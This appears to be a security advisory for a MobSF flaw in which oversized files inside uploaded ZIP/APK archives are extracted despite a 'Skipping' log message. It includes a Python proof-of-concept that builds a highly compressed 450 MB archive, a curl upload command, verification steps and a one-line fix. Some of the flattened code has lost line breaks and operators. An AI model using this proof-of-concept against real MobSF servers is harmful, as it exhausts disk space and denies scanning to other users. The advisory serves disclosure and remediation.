GHSA-x768-8642-mmq9: Medium severity pip/mobsf vulnerability
Summary
When extracting uploaded ZIP/APK files, MobSF checks if individual files exceed ZIPMAXUNCOMPRESSEDFILESIZE (400 MB) and logs "Skipping" — but the code lacks a continue statement, so extraction proceeds anyway. The log message is misleading; the file is still written to disk.
Verified Impact (Code Audit)
The vulnerable code path in sharedfunc.py lines 153–182:
python Line 156: Size check if fileinfo.filesize > settings.ZIPMAXUNCOMPRESSEDFILESIZE: sizemb = fileinfo.filesize / (1024 1024) msg = (f'File too large ({sizemb:.2f} MB). Skipping ' f'{sanitizeforlogging(filepath)}') logger.warning(msg) # ← BUG: No 'continue' here! Execution falls through.
Line 161: Total size check (separate) if totalsize > settings.ZIPMAXUNCOMPRESSEDTOTALSIZE: raise Exception(msg)
Line 171-178: Permission fixing (only dirs get 'continue') if fileinfo.isdir(): continue else: fileinfo.externalattr = ...
Line 182: EXTRACTION ALWAYS HAPPENS FOR FILES try: zipptr.extract(filepath, extpath) # ← Runs regardless of size check
The control flow is clear: after the size check logs "Skipping", no continue or break is issued. The code proceeds to line 182 which extracts the file unconditionally.
Steps to Reproduce
1. Create a ZIP/APK with a file exceeding 400 MB (zeros compress very well):
python #!/usr/bin/env python3 import zipfile, tempfile, os
output = tempfile.mktemp(suffix='.apk') with zipfile.ZipFile(output, 'w', zipfile.ZIPDEFLATED) as zf: zf.writestr('AndroidManifest.xml', '<manifest package="com.poc"/>') # 450 MB file (exceeds 400 MB limit) — compresses to ~KB info = zipfile.ZipInfo('assets/huge.bin') info.compresstype = zipfile.ZIPDEFLATED with zf.open(info, 'w') as f: for in range(450): f.write(b'\x00' (1024 1024)) # 1 MB at a time
print(f"Created: {output} ({os.path.getsize(output)} bytes compressed)")
2. Upload via API:
bash curl -X POST http://127.0.0.1:8000/api/v1/upload \ -H "X-Mobsf-Api-Key: YOURKEY" \ -F "file=@poc.apk"
3. Trigger scan, then verify:
bash Log says "Skipping" but file exists on disk: grep "File too large" ~/.MobSF/debug.log ls -la ~/.MobSF/uploads/HASH/assets/huge.bin # 450 MB file is there
Why This Is Not a Self-Bug
- This affects any user who scans a maliciously crafted APK - The APK could come from a legitimate-looking package submitted for security review - Matches the pattern of GHSA-c5vg-26p8-q8cr (Zip bomb DoS, affected <=4.3.2) — that advisory fixed the total size limit but this per-file bypass persists - Impact: disk exhaustion preventing further scans for other users
Remediation
Add continue after the size warning:
python if fileinfo.filesize > settings.ZIPMAXUNCOMPRESSEDFILESIZE: sizemb = fileinfo.filesize / (1024 1024) msg = (f'File too large ({sizemb:.2f} MB). Skipping ' f'{sanitizeforlogging(filepath)}') logger.warning(msg) continue # ← ADD THIS LINE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/mobsfto a version that resolves this vulnerability.Fixed in 4.5.1 - Configuration
In `shared_func.py` within the ZIP/APK extraction code path (lines ~153–182), when `fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE` (400 MB) and the code logs the "Skipping" warning, add a `continue` statement so extraction (e.g., `zipptr.extract(...)` at line ~182) does NOT run for oversized files.
MobSF shared_func.py (ZIP/APK extraction control flow) continue after per-file size warning when fileinfo.file_size > settings.ZIP_MAX_UNCOMPRESSED_FILE_SIZE (400 MB) = Add `continue` right after the log statement that currently says "Skipping"
Event History
Frequently Asked Questions
Who is exposed, and what does an attacker need to exploit this?
Systems that extract uploaded ZIP or APK files through the affected MobSF code path are exposed. Exploitation requires high privileges and a crafted archive containing a file larger than the configured 400 MB per-file limit, with the impact limited to availability.
Can the warning log be relied on as evidence that the oversized file was blocked?
No. A warning stating that an oversized file is being skipped does not prevent extraction in the affected code path; the file is still written to disk.
How can I investigate whether oversized files were extracted?
Review warnings for oversized archive members and correlate them with the uploaded ZIP or APK files. Any matching warning should be treated as a possible extraction event rather than confirmation that the file was skipped.
Does the total archive size check compensate for the missing per-file enforcement?
The supplied information does not identify a temporary mitigation. The separate total uncompressed-size check should not be treated as enforcement of the per-file limit, because the oversized-file branch falls through to extraction.